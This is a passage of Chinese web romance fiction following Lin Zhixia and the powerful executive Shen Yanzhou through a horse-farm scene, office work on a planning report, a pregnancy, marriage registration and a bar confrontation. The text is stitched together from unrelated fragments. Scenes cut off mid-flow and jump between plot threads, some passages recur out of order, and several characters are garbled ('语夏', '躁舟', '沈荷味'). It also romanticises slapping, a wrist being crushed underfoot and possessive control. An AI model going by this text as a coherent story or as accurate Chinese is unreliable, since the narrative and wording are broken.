她看得清清楚楚,沈砚舟的脸上写着一行“哦所以我那天没把你做爽”的总结。 江烬和裴度虽然不知道故事细节但也反应过来了其中的尴尬。 怎么会有人开玩笑说沈砚舟不行结果吐糟到人脸上去了? 他们两感受着来源于沈砚舟身上的低气压,都沉默了一秒,默契地说:“我去马厩牵马了,知夏你先聊着。” 两人撤退得毫不犹豫,一眨眼就没了身影。 林知夏眼巴巴地看着他们离去,听着众人讶然又尊敬的“沈总好”,有些弱小无助地伸出手也招了两下:“嗨。” 两人面面相觑,半晌都转过头,默契地装作没有听过这条语夏。 倏尔,一匹枣色的温血马探出了大脑袋,猛然停在了林知夏眼前几公分处。 林知夏被吓了一跳,反应过来觉得这也是一种缘分,摸了摸它的脑袋,问饲养员要了半根胡萝卜,边喂它边培养初步好感。 半晌,她出声问:“我能不能认养这匹马?” 饲养员愣了秒,笑着回答:“应该是可以的,苹果没有主人。如果您要认养的话,我去跟李总说一声,然后来拟合同。” 苹果? 林知夏摸马的动作一顿,心想这小帅马竟然有个这么可爱的名字。 一想到这,不知道是不是名字的作用,她越看越觉得它虎头虎脑像颗苹果。 林知夏牵出马来,回了饲养员:“可以,你去跟她说,全部按市场价来,不用给我走后门。” 说罢,她也牵着马去了散练区。 散练区超级大,左边是四四方方的低级马障区,右边连接着几条宽长的竞速弯道。 为了让这一块儿更漂亮,弯道间隔处还种了许许多多的灌木丛,让其有一种融入自然的感觉。 林知夏娴熟上马,围绕场边适应了两圈,飒爽的身姿让后边跟来的几人都“哟”了声。 程麓很早以前就学过压浪,但这么多年没再碰马也快忘到外婆桥去了,她遥遥喊道:“知夏,你会骑马啊?” “以前留学的时候进过社团。”林知夏低调地弯弯唇,摸了摸苹果的脑袋。 两人正聊着,又有匹大马进了这边。 林知夏还没反应过来,余光里就有一匹黑马在逐步靠近。 她微微侧头,看到了一张冷峻深邃的脸。 是沈砚舟。下一秒,她总结了今天的经历,回复说:【你敢信,今天所有和我说过话的人,不论男女,都在沈砚舟出现后消失了。】 卞清聆吐出牙膏沫,努力回想了一下数年前去缇山北巷给林知夏送生日礼物的情景。 路过沈家的时候,她看见了穿着黑衬衫的沈砚舟坐在林肯里抽烟。他细长的手指夹着烟,眼神在烟雾中极其漠然地扫过,没什么感情。 顿了秒,卞清聆轻笑:【如果是沈砚舟的话,好像就不奇怪了。】 被认可的林知夏连连点头,深觉姐妹有眼光。 而此时此刻厅外的角落里。 沈时年微微垂着头一句话都不敢说,像彻底蔫儿掉的鹌鹑,浑然没了大少爷的样子。 还不知道自己成了男鬼的沈砚舟挂断了电话,转身走向他,锐利的目光蓦地停在了他右侧微红的脸上。 这是被打了? 沈砚舟回想起林知夏刚看见他时脸上一闪而过的心虚,还有她掌心异常的红,反应过来。 看来沈时年是被林知夏扇了,而且这一巴掌手劲还不小。 他嗓子里逸出一声哂笑,低头将衬衫袖子又往上撩了撩,然后猛地抬手抽向沈时年的左脸。 “啪“地一声,打得比林知夏重十倍,打得沈时年猛然一踉跄。 沈砚舟看着嘴角流血的沈时年,冷声问:“沈家给你的自由是不是太过了,以至让你忘了分寸,忘了什么该干什么不该干?” 沈时年连疼痛都感受不到了,只觉得脸上一片密密麻麻的针扎感,恍若烧了起来。 他狼狈地认错:“我错了,小叔。” 沈时年从小就怕这个比他只大几岁的小叔。 作为他爷爷的老年得子,沈砚舟可以说是家里最受宠的人。再加上沈砚舟的能力出众、杀伐果决,不出两年必定会成为景译集团的掌舵人。 对此他根本不敢反抗,认错速度极快,生怕他小叔再来一巴掌。 沈砚舟面不改色地收回手,继续警告:“沈家多的是人想娶林知夏,你如果把握不住机会,就等着你爸找你麻烦吧。” 他话里有话,几乎是一瞬间就让沈时年想到了自家二叔那一堆私生子。 沈砚舟话夏一转,直接点明:“明天处理好舆论,然后去陪陪你的未婚妻。” 结果沈时年苦笑两声,坦白:“小叔,我明天有正事,这回是真的有正事。我还有个生意要跟王.室的人谈,早就约好了的。” 沈砚舟闻言斜乜他,冷笑:“缇山北巷刚打来的电话,你自己说怎么办。” 沈时年沉默片刻,小心翼翼地发问:“小叔明天有空吗,能不能帮我代替一下…?” 他几近被气笑了,反问:“你老婆还是我老婆?” 沈时年被问得一哽,思索片刻,破罐子破摔:“反正家里是不限于我陪她的,他们肯定也希望整个沈家可以跟林知夏关系更加亲密。如果小叔你愿意帮我这次忙,今年过年爷爷催你结婚的时候,我站出来替你挨骂。” 哇塞,好有用啊。 沈砚舟面无表情地转身,丝毫没停留。 那匹黑马好像跟苹果的感情非常好,一进马场就径直朝它走来了。 两人脑袋贴在一块,嘴里哼出几声马叫,像是在叙旧。 林知夏心里暗暗绝望。 因为两匹马靠得很近,所以她和沈砚舟也离得很近,空气里总有股不可言明的感觉在蔓延。 说到底她还是心虚。 上回的事情还没翻篇,今天又被他听见说他不行了,这不就相当于当面复盘一夜.情还给出了负面评价吗。 刚刚还有人围着他让他没法说什么,现在两个人可以算是单独相处了。 林知夏脸色微红,试图缓解一下尴尬:“哈…砚舟哥,你那匹马叫什么?” “踏风。”男人游刃有余地驾驭着马,看了她一眼。 “噢。” 空气陷入一瞬静默。 她又没忍住,继续找话题:“为什么它们感情这么好?” 沈砚舟漫不经心地睨她一眼,似笑非笑:“可能它也是踏风的白月光吧。” 第 80 章 第八十章 “林知夏?”主管深深的看了她一眼,目光落到她手里的文件上,“怎么又把策划案拿回来了?” 林知夏神色自然,甚至笑了一下,“何总说做的不错,但是还有些小问题,让我接过来,继续修改一下。” 主管一顿,而后笑着拍了一下林知夏的肩膀,“看吧,我就说,何总很喜欢你,加油做,是个锻炼的机会。” 林知夏轻轻一笑,“还得多谢主管给我这个机会。” 等主管走后,林洁才飞快凑过来,“你怎么把这个活接过来,我听说这个策划案何总批了好几次都不给过,是个烫手山芋。你前两天请假了不知道,主管本来要把这个活给张文哥的,怎么今天落到你手上了。” 林知夏睫毛颤了一下。 原来是这样。监控视频的播放进度条已经到最顶端,屏幕上显示的,正是男人拦腰把人抱在怀里的画面,少女小小一团,几乎被男人高大的身影遮挡,只能看见裙摆下露出的白嫩小腿。 刚刚他已经看了全过程。林知夏这几天去了两三趟故园附近的房子,对里头的初装修不是很满意,决定敲了重新装修,还让卞清聆推荐了她熟识的室内设计师。 除此之外,她还把上次没画完的校园风同人图给画完了、发了微博。 江城文旅局那边也派了负责人加她的微信,向林知夏提出合作需求的同时也表达了对她的理解,静候她的决定。 而纠结万分的林知夏选择先撂下这件事,跟程麓出去放松放松心情。 那天晚上在群里放了照片后,程麓立马抛出邀约说要带她去探店。 林知夏心想反正这一周沈砚舟都没时间跟她商量事情,她也就干脆答应了。 两人约定在师附转角的小洋楼见了面。 碰面后程麓又是先夸了一番林知夏,夸到她受不了了,最后面无表情地捂住了程麓的嘴:“好了,适可而止。” 程麓比了个投降的动作。 一直到蔓越莓巴斯克上桌时,她还在感慨:“我还以为你很享受那些塑料姐妹花的彩虹屁呢。” 林知夏眼眸弯弯,用小银叉将一块蛋糕塞入程麓嘴里,一副要堵她嘴的样子,“我又不是有病。” 林知夏愿意跟程麓单独出来玩也是因为这个人的性格很有意思。 程家有百分之七八十的长辈是军人,她做人做事非常直接,经常戳到林知夏的笑点。 比如,某家的Angela会天天在朋友圈晒画再配上几百字分析心得,末尾问上一句“有没有跟我一样get到这种意境的人”。圈里其他人大多会吹捧一番或者翻着白眼就划走了,只有程麓会在地下面露诚恳地留上一句:应该没有。 再比如,塑料姐妹花约着一起去看展的时候,某家的Mia会看在主办方的面子上对一幅巡回名画夸个不停,只有程麓会愣一秒然后双手合十地说:耶,这幅画是假的,真的那副好像在知夏家。 林知夏回想起当时Mia脸上的红橙黄绿青蓝紫,没忍住笑出声。 程麓抬头,目露疑惑:“知夏,你笑什么?” 她摆摆手说:“没,想到了你之前的一些往事。” 两人颇有默契地对视一眼,程麓默默低下了头。 好丢撵,还是进食吧。 这里的老板是个刚从意大利进修回来的年轻女人,在做甜品这件事上有她自己的理解,短时间内就成功把店铺运营成了网红店。 她挺着肚子,给两人送来一小碟巴巴露亚,笑着说:“请慢用。” 林知夏接过甜品,略带关心地多问了一句:“店里一个人能应付得来吗?” 那店主点点头说:“还好现在店内采用的是预约制,人流量控制得比较好。” 程麓骨子里的教养也让她跟着问了句:“噢,那你老公呢?” 女人脸上洋溢着幸福的笑,解释说:“他是意大利人,现在在星辰集团底下工作。” 林知夏略略挑眉。 自家员工啊。 老板只觉得两人气质长相皆不俗,但不知道她们的具体身份,觉得亲切也就跟着多聊了几句爱情往事。 “要不是我突然改变主意跟他结婚,他原本都没机会留在国内的。” 程麓闻到了一丝丝八卦的味道,有些好奇地问:“欸那你当时为什么改变主意啊?” 老板脸上虽是无可奈何,但语气里尽是幸福的味道:“我怀孕了。” 林知夏神色微顿。 三人都是成年人了,话题尺度也隐隐有些放开。 她抬眸看向那个女人,就听见女人继续说:“当然我们没有那么疯狂,在保持不婚主义的时间里我们都是有做安全措施的。” 林知夏唇角彻底僵住。 等会儿,这是不是代表着…? 下一秒,那个女人就证实了她心里的猜测:“但是谁知道戴套也不是百分百安全,我还是怀了。” 林知夏闻言深深闭上了眼。 一股淡淡的死感包裹着她 草,等会儿真的要去买验孕棒了。 当天林知夏确实是喝多了,走错了路,误打误撞的扑到他怀里。 所以那晚,真的是一个偶然。 沈砚舟微不可查的皱了一下眉头。 是他误会林知夏了。 怪不得今天的小猫气急了,冲他露出了爪子。 沈砚舟皱了一下眉头,抬手捂了一下林知夏的眼睛,睫毛一动一动的,在手心有点发痒。 重新上了药包扎好,医生又嘱咐了两句就离开了。 林知夏跷着脚,“这个包扎的确实比之前好,你看,还给我绑了个蝴蝶结。” 沈砚舟有些无奈,抬手掖了掖少女耳侧的碎发。 “今晚早点睡,明天我们去领证。” 分居?!! 林知夏瞪圆眼睛,“不是……你……我们……” “嗯?我说的不对吗?”沈砚舟淡淡的逼问她,“林知夏,我们刚刚领了证,是合情合理合法的、夫妻。” 说到最后两个字的时候,男人语气微顿,着重咬了一下这两个字。 林知夏被他说的反而有点不自在,好像她成了什么用完就走的渣女似的。 她声音低了一些,“那我突然搬出来,总得跟她说清楚吧。” 沈砚舟垂眸盯着她看了一会儿,才道,“好,今天说清楚,明天搬出来。” 林知夏努力挣扎,“再住一周……” 沈砚舟的目光冷了许多。 他从来做决策都是一锤定音,没人敢质疑,更没人敢讨价还价。 可这个人是林知夏。 僵持几秒,沈砚舟最终退步,“三天。” 林知夏咬了一下唇,看着男人愈发不悦的神色,赶紧点头,“好好好,三天就三天。” 沈砚舟轻轻吐了一口气。 他好像总是拿林知夏没有办法。 这次不仅是孕检,更是做了一个全身体检,医生拿着报告一个个的说着问题,每说一个,沈砚舟面色都沉一分。 “有些营养不良,应该是平时不注意饮食,三餐也不按时吃。” “孕酮值有些低,不过不是太严重。” “颈椎这里有些问题,平时坐姿不正确容易导致,再严重会压迫神经,可能导致头晕。” “先做着看吧,况且,我也没有拒绝的机会。” 林洁点点头,转而问她中午要不要出去吃,“楼下新开了一家餐厅,今天有折扣。” 林知夏停顿了一下,结结巴巴的开口拒绝,“唔……我就不去了,我……我去找我朋友……” “你哪个朋友啊?我认识吗?”林洁挠挠头,“之前怎么没听你说。” 林知夏打着哈哈,“下次介绍你们认识。” 中午一到,大家都飞速关电脑往出走,林知夏怕被人看到,特意晚了一会儿,等所有人都走了之后,她才小心的下了楼,一路像做贼似的,钻进车里。 宽敞的车厢内,饭菜已经摆好了,林知夏看了一眼,顿时觉得早餐相比之下都是小巫见大巫了。 餐盒都很迷你,一样差不多只有三四口的量,但奈何数量多,粗略估计快有二十种,甚至每一个小餐盒上面还贴着小标签,标清菜名。 沈砚舟没在车里,而是高成在。 “沈总还有会,没赶过来,嘱咐我在这儿等您。”高成脸上堆起笑。 林知夏点点头,“其实也不用特别送过来,我们食堂的饭菜也挺好。” 这句话高成只当没听到。 不送饭怎么可能,要不是今天的会议实在紧急,沈砚舟都亲自过来盯着人吃饭了。 怕林知夏不自在,高成略说了两句就下了车。 因为惦记策划案的事,林知夏实在没有什么胃口,她只吃了几口饭,略喝了两口汤就匆匆下车了。 高成看见她还一愣,“太太您用完了?” 他没敢多说什么,又拎了一个小袋子递过去,“沈总嘱咐我给您的水果。” 林知夏道了谢,接过来就转身走了。 等人走后,高成才上车,对着林知夏用过的饭拍了个照片给沈砚舟发过去。 一下午的时间,林知夏都在为这个策划案而发愁,她从没有做过这方面的经验,找了几个之前的策划案翻来覆去的看。 快下班的时候,林洁给她发了信息说今晚不和她一起走了,林知夏看到了反而舒了口气,她还没想好怎么和林洁说。 林知夏收拾了一堆材料准备带回去看,张文路过看到了,推了一下眼镜,笑呵呵的,“小林这么卷啊。” 林知夏扯了一下嘴角,没说话。 回去照例是高成来接她的。 林知夏有些恹恹的靠在车窗上,高成仔细的窥了一眼她的神色,飞速的给沈砚舟发信息。 【太太看起来心情不太好。】 沈砚舟收到信息的时候正在开会。 最近的一项合作出了问题,沈砚舟是个做事严苛,眼睛里不揉沙子的人,断断续续开了一整天的会,从上到下的高层几乎都被他训斥个遍。 此刻看见高成发过来的信息,沈砚舟皱紧眉头,面色愈发难看。 林知夏不高兴了。 是因为自己没去接她吗? 沈砚舟扯了一下领口,轻轻的呼了一口气。 台上的商务部长正在进行一阶段的发言汇总,没说两句话就忍不住朝沈砚舟的方向看过,眼看着沈总脸色愈发阴沉,他心里也愈发战战兢兢。 在报错了一串数字时,商务部长的心终于死了,冷汗几乎流下来。 “抱歉沈总,是我没准备好了。” 他几乎已经能预料到沈总的训斥。 但沈砚舟只是冷淡的看了他一眼,“那就等你准备好了再发言,今天的会先到这儿,散会吧。” 众人都一愣,显得有些惊愕。 沈砚舟却没有理会他们,直接站起身大步的往出走。 商务部长几乎快腿软了。 沈总这是什么意思?不会要开除他吧? 他几乎是鼓足最大的勇气,快速的跟上沈砚舟。 “沈总,您再给我一次机会,沈总——” 沈砚舟顿住脚步,声音冷厉,“机会是自己挣得,每天有那么多人都要等着我给机会,我都要给吗?” 商务部长脸色一阵青一阵白,唇瓣动了动,却不敢再说一个字。 沈砚舟沉着脸,正要离开,突然见对面拐角处走过来一道纤细的身影,她没走近,对着沈砚舟眨了一下眼睛。 几乎是瞬间的,男人躁舟的心情被抚平。 沈砚舟侧了一下头,“还有事?”酒吧里吵吵嚷嚷的,但林知夏还是一眼就看到了人群中央的林洁,她赶紧快步走过去,走了两步又想起沈砚舟的教训,下意识伸手摸了一下小腹,慢下脚步。 好吧,反正也不差这几秒钟。 等林知夏挤过去的时候,正看到林洁对着那几个人据理力争。 “这酒都不是我喝的,凭什么让我付钱啊!!” “你没钱还这么理直气壮。” “就没钱,怎么了?” 林知夏走过去,一把将林洁拽到自己身边,语气冷淡,“该我们的,我们付,可你们要是坑蒙拐骗,我们也不做冤大头。” “诶!你什么意思?”为首那人不乐意了。 林知夏冷笑,“什么意思你们心里清楚。” 她扬了扬手机,“我已经报警了,一会儿警察就到,那就让警察判断一下,这个钱到底该谁付!” “你……” 那人气急,冲着林知夏扬起手,“你以为你是女的我就不敢打你是不是?” 林知夏脸色白了一瞬,下意识的要后退,可就在这个时候,那人的手腕被人猛的抓住,而后用力一扭。 “啊——” 一声痛呼溢出来。 男人冰冷冷的声音传来,“你要打她?” “你谁啊你?你放开我!” 沈砚舟冷笑一声,手上力气加大,而后猛的一甩,那人竟直接被他甩在地上。 下一秒,擦的锃亮的皮鞋踩在他的腕骨上,微微碾动。 “再问一遍,你是要打她吗?” 男人眼神恣睢,声音冷的像是淬了冰。 这些人平时就靠着欺负小姑娘骗骗酒赚点钱,哪见过这场面,吓的一时没人敢说话,只有倒在地上那个人,痛哭的大喊,“我没有,我不敢,我不敢——” 沈砚舟这才松开脚。 旁边的林知夏都看愣了,她好像从没见过沈砚舟这幅样子,不是温柔的,甚至也不是冷漠的,而是像是从骨子里透出的暴戾,抬脚踩着人的时候,眸子里的神色很淡,沈凉到极致。 男人转头去看林知夏,漆黑眸底的冰冷还没来得及收回。 一瞬间,林知夏呼吸都滞住了。 “走吧。”沈砚舟语气很平静,“这里的事会有人处理。” 林知夏当然不想留在这里,更何况这样的沈砚舟,让她心里发怵,压根生不出拒绝的念头。 她赶紧攥着林洁的手,跟在沈砚舟身后快步离开这里。 走出酒吧,被外面的冷风一吹,林知夏清醒许多,开始忍不住有些后怕,再抬头小心窥着沈砚舟的脸色,不敢吭一声。 直到走到车边,旁边的林洁终于忍不住开口。 “林知夏,他是……” “我朋友。”林知夏飞快的开口。 这话一说,沈砚舟顿住脚步,回头不轻不重的看了林知夏一眼。 漆黑的眸色沉沉的落下来,看的林知夏有些心虚,她抿了一下唇,干巴巴的补充,“男朋友。” 沈砚舟快被她气笑了。 他一手攥住林知夏的手腕,将人拽到自己身边,语气淡淡,“高成会送你朋友回去。” 林知夏微微睁大了眼睛,“那我——” “你跟我走。” 男人语气平淡,手抬起来,虚虚搭在少女纤细的脖颈处,看似随意的动作却透着浓浓的占有欲。 林洁吭哧半天吐出一句,“你们……同居了啊。” 沈砚舟垂眸看了少女一眼,问她,“林知夏,领证了可以同居吗?” 林知夏,“……” 她像是被捏住脖颈的小猫,提不起一丝反抗。 看着对面一脸震惊的林洁,林知夏只能硬着头皮开口,“我明天再跟你说。” 恰在此时,高成也带着人到了,几个人都穿着黑衣服,一身腱子肉,看起来像是保镖。 “沈总。” 沈砚舟朝酒吧的方向看了一眼,高成会意,立刻扬了扬手,身后的那几个人便大步走了进去。 “送这位小姐回家。” 高成点点头,“好的沈总。” 林知夏还想再说什么,可却被沈砚舟不容置疑的塞进车里。 “很晚了,你该回去睡觉了。” 林知夏只能眼巴巴的隔着车窗对林洁摆摆手。 车子启动出发后,空气变得安静下来。 林知夏心里有些忐忑,觉得男人要教训她,可沈砚舟一直不开口,搞的她心里七上八下的。 她微微抬头,小心朝沈砚舟的方向看了一眼。 男人沈唇微抿,下颚线崩的紧紧的,脸上没什么表情,却浑身都透着一股冷意。 林知夏感觉自己简直像要被秋后处斩的死刑犯,难熬的厉害。 终于到了别墅,林知夏看男人率先下了车,以为沈砚舟要故意冷着她不理她,心里莫名有些发堵。 却没想到男人却朝副驾驶走过来,亲自替她开了车门。 林知夏微微一愣。 就在这愣神的功夫,沈砚舟却已经伸出手来,把她从副驾驶抱出来。 少女惊呼一声。 她骤然腾空,几乎是下意识的搂紧男人的脖颈。 毛茸茸的发顶就凑在男人下巴处,有些痒,惹的沈砚舟身子僵硬一瞬,箍着少女腰间的大手愈发用力。 林知夏像个树袋熊一样挂在沈砚舟身上。 “沈砚舟你干嘛!” “嗯?不是吓到了吗,哄哄你。” 沈砚舟低沉的声音就响在耳侧,他一面说着,一面还往上颠了颠少女,像哄小孩那样。 “别怕,我不会让别人欺负你。” 他以为林知夏今晚的不自然是因为被吓到了,殊不知少女是因为怕他教训而担惊受怕。 “放心,那些人不会再出现在你面前。” 沈砚舟一想到今天那人差点一巴掌打到林知夏脸上,心底的狠厉就抑制不住的往上冒,又怕吓到怀里的少女,只能克制着用温和的语气和她说话。 林知夏耳尖有点发红,她刚想解释什么,却见管家朝着他们走过来,林知夏飞快的把头埋下去,掩耳盗铃一样。 丢死脸啦! 沈砚舟一直抱着人到沙发上放下,也许是沈砚舟示意过,管家和佣人都没有跟过来。 林知夏的脸还是红的发烫。她刚想开口让男人以后不要再随便抱她,却见男人语气认真一些。 “林知夏,现在我们可以谈一谈今天晚上的事吗?” 林知夏身子一僵。 “你自己也知道,今天晚上的事很危险对不对。如果不是我凑巧晚走了一会儿发现了,会出现什么样的后果,我们谁也没法预料。” 男人语气严肃,但神色并不凌厉,甚至仍旧是温柔的。 林知夏垂了一下眼,微微点了点头。 果然还是要教训她。 可沈砚舟的下一句话却是,“但是你还年轻,为朋友两肋插刀冲动一次也没什么大不了的。” 林知夏一懵,猛然抬头,对上沈砚舟温和的眸子。 “我们林知夏当然可以犯错,因为有我在,就不会有什么事。” 沈砚舟这句话并不夸张,他在S市是只手遮天的王,他想庇护一个人,简直轻而易举。 “但是,下一次,无论什么事,都一定要告诉我。”沈砚舟抬手,拨了拨林知夏额前的碎发,轻描淡写,“我都可以处理。” 林知夏睫毛颤了颤。 她是一路被放养长大的,在福利院,是不被允许犯错的,不然会被用尺子打手心,再大一点,懂事了,更加害怕做错事,因为没人会站在她身后。 这是第一次有人跟她说。 林知夏,你是可以犯错的。 “沈砚舟。” 她抽了抽鼻子,声音有些绵软的叫男人的名字。 沈砚舟太好了,简直像烈酒要让她昏了头。 “我特别害怕。”林知夏仰着头看着男人,“但我是怕你骂我,怕你不理我要和我冷战。” 沈砚舟扯了一下嘴角,显得有些无奈。 “那要不要再抱一下?” “诶?” 男人说完后,直接就又把人抱起来了,大手按在少女的腰间,抱的稳稳的。 他还继续问,“要不要再颠一颠?” 林知夏声音显得有些崩溃,“沈砚舟,你别把育儿知识用在我身上。” 沈砚舟声音含笑,“别冤枉我,育儿书我还没看呢。” 他没说,之前在年会看见下属就是这样哄孩子的。 林知夏没料到,男人竟一路把她抱到主卧去了。 上次在别墅,还只是住在客卧,这是她第一次进沈砚舟的房间,装修是极简的黑白灰,只是空间很大,目测可以进行一场短途跑步。 沈砚舟这是什么意思,他们要住在一起吗? 林知夏突然有些紧张,干巴巴的开口,“我上次不是住在楼下吗?” 沈砚舟“嗯?”了一声,垂眸看着林知夏,“上次不是没领证吗?” 林知夏一噎,不知道该说什么了。 男人语气动作都十分自然,把林知夏放下后问她要不要先去洗澡。 林知夏当然说好,随即逃似的钻进浴室。 水声哗啦啦的,林知夏注意到一旁的台子上放着崭新的睡衣,她拿起来一看,底下还有甚至连内衣都有。 林知夏脸腾地红了,浑身跟着火似的冒着热气。 她拼命在心底安慰自己,这些一定都是佣人备好的。 可即便是这样,走出浴室的时候,仍旧是面上滚烫。 卧室内。 沈砚舟换了一套家居服,却坐在椅子上,目光似乎一直落在浴室的方向。 林知夏一出门,正对上男人的目光。 “怎么了?” “浴室水滑,怕你摔倒。” 沈砚舟站起来走过去,看着少女湿漉漉的头发,心底有些无奈。 “又不吹头发。” 男人按着林知夏坐下,亲自拿了吹风机过来给她吹头发。 林知夏一直是魂游的状态。 她抬起头,看着镜子里,沈砚舟垂着眸认真的样子,只觉得一颗心像是涨满的气球。 沈砚舟原本不需要对她这么好的。 他们结婚,只是为了这个孩子,不是么。 林知夏出着神,不知道什么时候吹风机已经停下,男人屈指敲了一下在她的额头,“想什么呢。” 林知夏猛的回过神,几乎是脱口而出。 “沈砚舟,你真是个好人。” 男人鲜少的一怔。 他随即像是撑不住的笑了。 “多谢你,你是第一个这么说我的。” 林知夏后知后觉的自己说了什么蠢话,她埋着头不再吭声,红着耳朵把自己埋进被子里。 男人去冲了个澡出来,看着旁边裹得像个毛毛虫的人,无奈的把她“挖出来”,“别闷到了。” 林知夏眼睛闭的死死的,可睫毛还在乱动。 沈砚舟一顿,像是笑了一下,“别紧张。” 林知夏睁开眼,不服气的飞速回了一句。 “我才不紧张,又不是没睡过!” 这话一说,两个人都是一怔。 林知夏绝望的又闭上了眼。 天啊,她在说什么屁话。 沈砚舟的眼睛里满是笑意,可见少女已经快熟透了的样子,他好心的没再戏谑,关了床头的灯,缓缓躺下。 林知夏本以为她会紧张的睡不着,哪成想不过几分钟就呼呼大睡去了。 肩膀处蓦地一沉,林知夏像个不规矩的小动物,先是把头靠在沈砚舟的肩膀上,紧接着又整个人蹭了过去。 外面的月色透进来,并不亮,却足以让沈砚舟看清林知夏的每一处。 少女是纤细瘦弱的,但脸颊处却有些肉,这样侧躺着,挤出一圈奶白的软肉,她微微鼓着嘴,却并不明显,像是梦到了什么。 沈砚舟就这样盯着她看了许久,而后才一同沉沉的闭上了眼睛。 第二天一早,林知夏惊恐的发现自己整个人是“挂”在男人身上的。 她吓的几乎是连滚带爬的躲到一边。 林知夏知道自己睡觉不老实,却没想到这么夸张! 这点动静惊醒了旁边的沈砚舟,男人微微睁开眼,目光落在林知夏身上,“早。” 刚刚醒来,男人声音低沉中带着一丝哑意,像是在砂纸上磨过的碎片,一点点的割断林知夏的理智。 她呼吸一紧,只觉得心跳的声如雷鼓。 看出林知夏的不自然,沈砚舟因为她还困着没醒,揉了一下她的头发,哄着,“困了就再睡一会儿。” 随即男人动作很轻的坐起来,起身去了浴室。 林知夏在心底尖叫两声,没忍住在床上翻来覆去打两个滚。 好想把沈砚舟说的话都录下来。 太好听了吧! 今天是周末,不必去上班,倒是林洁的信息一个个的发过来,“逼迫”她快点解释。 林知夏心虚的一个都没敢回复。 她略微洗漱了一番就下了楼,男人已经在餐厅用早餐了。 见林知夏下来,沈砚舟有些意外,“怎么没再睡一会儿。” 林知夏哼唧了一声,“还有个报告要写。” 男人点了一下头,却没有多问,“书房里有电脑,没有密码,你可以随便用。” “好。”林知夏点点头,又问他,“你今天去公司吗?” 沈砚舟笑了一声,“我看起来像是要压榨员工周末加班的老板?” 林知夏跟着弯了一下眉眼,随即突然想到,那今天,岂不是他们,要共同在别墅里度过一整天? 不过很快,林知夏就没心情再考虑这些乱七八糟的了。 主管给她发来信息,说策划案周一一定要交到何总手里。 林知夏气的咬牙,却只能回复【收到】。 书房里。 林知夏对着电脑敲敲打打,一句话写了又删,翻来覆去,一上午的时间,进度几乎为零。 外面有人敲门。 林知夏头也没抬,“进来。” 沈砚舟端了一杯橙汁走进来,看着林知夏,不自觉的皱了一下眉头。 “已经坐了快三个小时了,要不要起来出去走走?” 林知夏苦着脸,“没时间了,东西还没弄完。” 沈砚舟走过去放下杯子,顿了顿,“我可以看看吗?” 林知夏一愣,抬起头看着沈砚舟,声音低了一些,“你要帮我弄吗?” 以沈砚舟的水平,这样的一份策划报告,在他眼里怕是像幼稚园的作业吧。 林知夏突然有些挫败。 可沈砚舟却摇了一下头。 “我是说,如果你有不懂的,兴许我可以教你。” 是教她,而不是代替她完成。 林知夏眼睛亮了一下,她赶紧点点头。 “需要的,沈砚舟,你教我。” 林知夏赶紧起身让开位置,指着电脑上给他看,“我没有做过策划案,完全不知道从哪里入手。” 沈砚舟坐下后,又极为自然的揽着林知夏的腰,把她抱在怀里。 林知夏一怔,瞬间僵住了。 她被男人抱在怀里,坐在男人的大腿上,身下的肌肉鼓的硬邦邦的,她不自在的扭了一下。 沈砚舟一顿,声音哑了一些。 “林知夏,认真点。” 商务部长缓过神来,赶紧弯了个腰飞速离开了。 等人走后,沈砚舟才对着林知夏招了一下手。 林知夏抿了抿唇,小步挪过去,直到走到沈砚舟身边,才小声嘟囔,“你好凶啊。” 比何总还要凶。 少女垂着眸,长而卷的睫毛在眼睑下投出淡淡的阴影,她像是真在为人打抱不平,连脸颊都鼓起来了一下,像个小仓鼠。 沈砚舟嗓子有些发痒。 他语气和缓,“又没有凶你。” 说完这句话,沈砚舟又立刻补充了一句。 “永远不会凶你。”林知夏像犯了错的小学生,一直垂着头乖乖听着。 等医生走后,沈砚舟才不轻不重的屈指敲了一下桌子,慢条斯理的开口,“营养不良?林知夏,你不会天天都不吃饭吧。” 林知夏小声争辩,“我没有,就是饭量……小一点。” 沈砚舟眸色暗了暗,没再多说。 他心里甚至有点后悔刚刚松口给林知夏三天的时间,今天就应该把人带回去,好好的盯着。 “以后三餐在家里吃,有专门的营养师配餐,厨师团队各色的菜系都会。” “可是我中午在公司……” “我让人给你送过去。”沈砚舟按了一下林知夏头顶翘起来的一缕头发,“别忘了你答应我的,会照顾好自己。” 好吧。 林知夏悻悻的不吭声了。 沈砚舟虽然大部分时候都对她温柔,但不笑的时候还是挺严肃的,尤其是垂着眼目光沉沉看着她的时候,还是挺唬人的。 从医院出来后,林知夏就直接回去了。 黑色的迈巴赫停在有些陈旧的小区内,显的有些格格不入。 沈砚舟抬头看了一眼,皱了一下眉,“有电梯吗?” 林知夏小心翼翼摇了一下头,看着男人沉下脸,赶紧补充,“但是楼层不高,才三楼。” 沈砚舟心里升起一股烦躁,他抬手扯了一下领带。 林知夏怕他后悔又不放自己回去,伸手去摸着车门想着赶紧溜之大吉,却突然被男人按住手腕,下一秒,她被按在车门边上,沈砚舟欺身压过来,整个人笼罩在林知夏之上。 两个人相距咫尺,男人身上清淡的沈荷味隐隐传过来。 林知夏身子有点僵硬。 “明早我来接你。” 男人低沉沙哑的声音响在耳侧,一瞬间,林知夏的心跳漏了一拍。 来接她?不,她要和林洁一起上班啊。 更何况,怎么能让沈氏集团的总裁亲自送她上班? 脑袋里有无数个念头,可话到嘴边,却变成了一句磕磕巴巴的“好,好啊。” 直到红着耳尖爬楼梯上楼的时候,林知夏在心底暗暗唾弃自己的没出息。 都要当妈妈的人了,怎么居然还是“为色所迷”。 林知夏轻轻呼了一口气,抬手揉了揉耳朵。 声控真要命。 “诶,林知夏你回来了?” 林洁突然开门放垃圾袋,看到林知夏愣了一下,“没带钥匙吗?怎么没进来?” “啊嗯。”林知夏含糊应了一声,跟着林洁走进去。 “你脚怎么样了?” 昨天林知夏说自己脚崴了,直接在朋友家住一晚。 林洁还有些好奇,她是知道林知夏的性子的,在S市,她居然还有别的朋友? “没事,已经包扎过了。” 恰在此时,手机振动,林知夏拿出来看了一眼,是沈砚舟发过来的信息。 【晚上在浴室洗澡要小心些,地上有水容易脚滑,千万别摔倒。头发要吹干,不然第二天会头痛。医生说你坐姿不端正,玩手机的时候脖子后面要垫一个小枕头,晚上如果睡不着,要热一杯牛奶喝。】 说是长篇大论也不为过。 林知夏看完,却没忍住的抿着唇角笑了一下。 她总觉得,好像自从和沈砚舟领了证之后,关系一下子亲近许多。 她想了一下,大着胆子回复。 【沈先生,你好唠叨。】 沈砚舟在车上看到这条信息,颇有些啼笑皆非。 他还是第一次被人“指责”唠叨。 不过—— 沈砚舟目光一顿。 【怎么还叫沈先生?】 林知夏一愣,【那该叫什么?】 